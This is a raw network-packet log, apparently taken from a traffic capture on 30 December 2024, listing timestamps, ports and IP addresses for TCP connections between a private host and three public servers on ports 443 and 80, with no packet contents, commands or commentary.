Dec 30, 2024 19:45:42.336282015 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.336349964 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.336599112 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.336663008 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.337292910 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.337338924 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.337354898 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.337359905 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.337392092 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.337407112 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.393140078 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.393218994 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.393289089 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.393348932 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.393492937 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.393558979 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.393635035 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.393695116 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.393769026 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.393824100 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.394017935 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.394072056 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.394088984 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.394141912 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.394465923 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.394520044 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.394529104 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.394535065 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.394571066 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.394592047 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.394814968 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.394875050 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.394908905 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.394964933 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.395220041 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.395287037 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.427251101 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.427300930 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.427346945 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.427356005 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.427397013 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.427405119 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.427772999 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.427834988 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.428040028 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.428100109 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.483705997 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.483781099 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.483845949 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.483856916 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.483879089 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.483897924 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.483979940 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.484041929 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.484194994 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.484251022 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.484461069 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.484534025 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.484637976 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.484688044 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.484699011 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.484703064 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.484735966 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.484755993 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.485090971 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.485161066 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.485404968 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.485472918 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.487832069 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.487879992 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.487900019 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.487906933 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.487934113 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.487967968 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.488023996 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.488080978 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.504581928 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.504659891 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.517534018 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.517605066 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.518074036 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.518131018 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.518695116 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.518748999 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.518871069 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.518923044 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.519207954 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.519262075 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.574436903 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.574532986 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.574661970 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.574698925 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.574722052 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.574733973 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.574743986 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.574774027 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.574803114 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.574858904 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.575118065 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.575175047 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.575256109 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.575315952 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.575738907 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.575783014 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.575790882 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.575794935 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.575844049 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.576055050 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.576100111 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.576107979 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.576112032 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.576148033 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.576162100 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.576348066 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.576400042 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.576425076 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.576478958 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.581986904 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.582035065 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.608275890 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.608355045 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.608561993 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.608619928 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.609105110 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.609164000 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.609404087 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.609456062 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.675015926 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675049067 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675095081 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.675101995 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675112009 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675132036 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.675163031 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.675165892 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675173998 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675215006 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675223112 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.675228119 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675266981 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.675298929 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675358057 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.675524950 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675564051 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675576925 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.675580978 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675610065 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.675784111 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675837040 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.675843000 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675946951 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.675996065 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.676001072 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.676151991 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.676187038 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.676207066 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.676212072 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.676239967 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.676258087 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.685789108 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.685861111 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.699029922 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.699111938 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.699137926 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.699192047 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.699619055 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.699671984 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.699932098 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.699982882 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.765758038 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.765799999 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.765840054 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.765849113 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.765871048 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.765892029 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.765894890 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.765903950 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.765964031 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.766083002 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.766138077 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.766227007 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.766264915 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.766283035 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.766287088 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.766309977 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.766333103 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.766580105 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.766637087 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.766738892 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.766801119 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.766963005 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.767014027 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.767220020 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.767256975 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.767270088 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.767273903 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.767301083 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.767308950 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.767611027 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.767664909 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.772473097 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.773153067 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.789786100 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.789861917 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.789894104 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.789937973 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.789946079 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.789951086 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.789983034 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.790396929 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.790460110 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.790707111 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.790764093 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.856333971 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.856442928 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.856580973 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.856647968 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.856723070 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.856780052 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.856852055 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.856910944 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.857130051 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.857186079 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.857330084 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.857384920 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.857486963 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.857543945 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.857754946 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.857801914 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.857811928 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.857820034 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.857845068 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.857858896 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.857882977 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.857887983 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.857898951 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.857928991 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.858067036 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.858117104 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.858123064 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.858156919 CET	443	50067	192.185.175.158	192.168.2.4
Dec 30, 2024 19:45:42.858165026 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.858202934 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.875585079 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.875653028 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:42.881649017 CET	50067	443	192.168.2.4	192.185.175.158
Dec 30, 2024 19:45:43.757122040 CET	80	50068	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:43.757222891 CET	80	50068	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:43.757379055 CET	50068	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:43.757431030 CET	50068	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:43.762202024 CET	80	50068	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:43.829611063 CET	50069	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:43.834420919 CET	80	50069	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:43.834611893 CET	50069	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:43.834738970 CET	50069	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:43.834769964 CET	50069	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:43.839453936 CET	80	50069	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:43.839627028 CET	80	50069	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:45.285413980 CET	80	50069	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:45.285710096 CET	80	50069	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:45.285810947 CET	50069	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:45.328774929 CET	50069	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:45.333549976 CET	80	50069	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:45.687335014 CET	50070	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:45.692236900 CET	80	50070	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:45.692313910 CET	50070	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:45.692699909 CET	50070	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:45.692713976 CET	50070	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:45.697448015 CET	80	50070	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:45.697679996 CET	80	50070	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:47.149158001 CET	80	50070	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:47.149411917 CET	80	50070	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:47.149473906 CET	50070	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:47.149513960 CET	50070	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:47.154304028 CET	80	50070	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:47.157368898 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:47.162261963 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:47.162344933 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:47.162472010 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:47.167177916 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.013889074 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.013916016 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.013926983 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.013940096 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.013950109 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.013962030 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.013967991 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.014014006 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.014065027 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.014086962 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.014096975 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.014107943 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.014131069 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.014153957 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.018821955 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.018832922 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.018843889 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.018856049 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.018876076 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.018898964 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.123940945 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.123955965 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.123966932 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.123979092 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.124026060 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.124064922 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.124141932 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.124221087 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.124237061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.124248981 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.124259949 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.124279022 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.124304056 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.124959946 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.124970913 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.124983072 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.124993086 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.125003099 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.125004053 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.125032902 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.125057936 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.125742912 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.125754118 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.125766039 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.125776052 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.125787020 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.125788927 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.125813961 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.126549006 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.126560926 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.126580000 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.126590967 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.126600981 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.126606941 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.126631021 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.126641989 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:48.128784895 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.233655930 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.233668089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:48.233679056 CET	80	50071	101.99.94.162	192.168.2.4
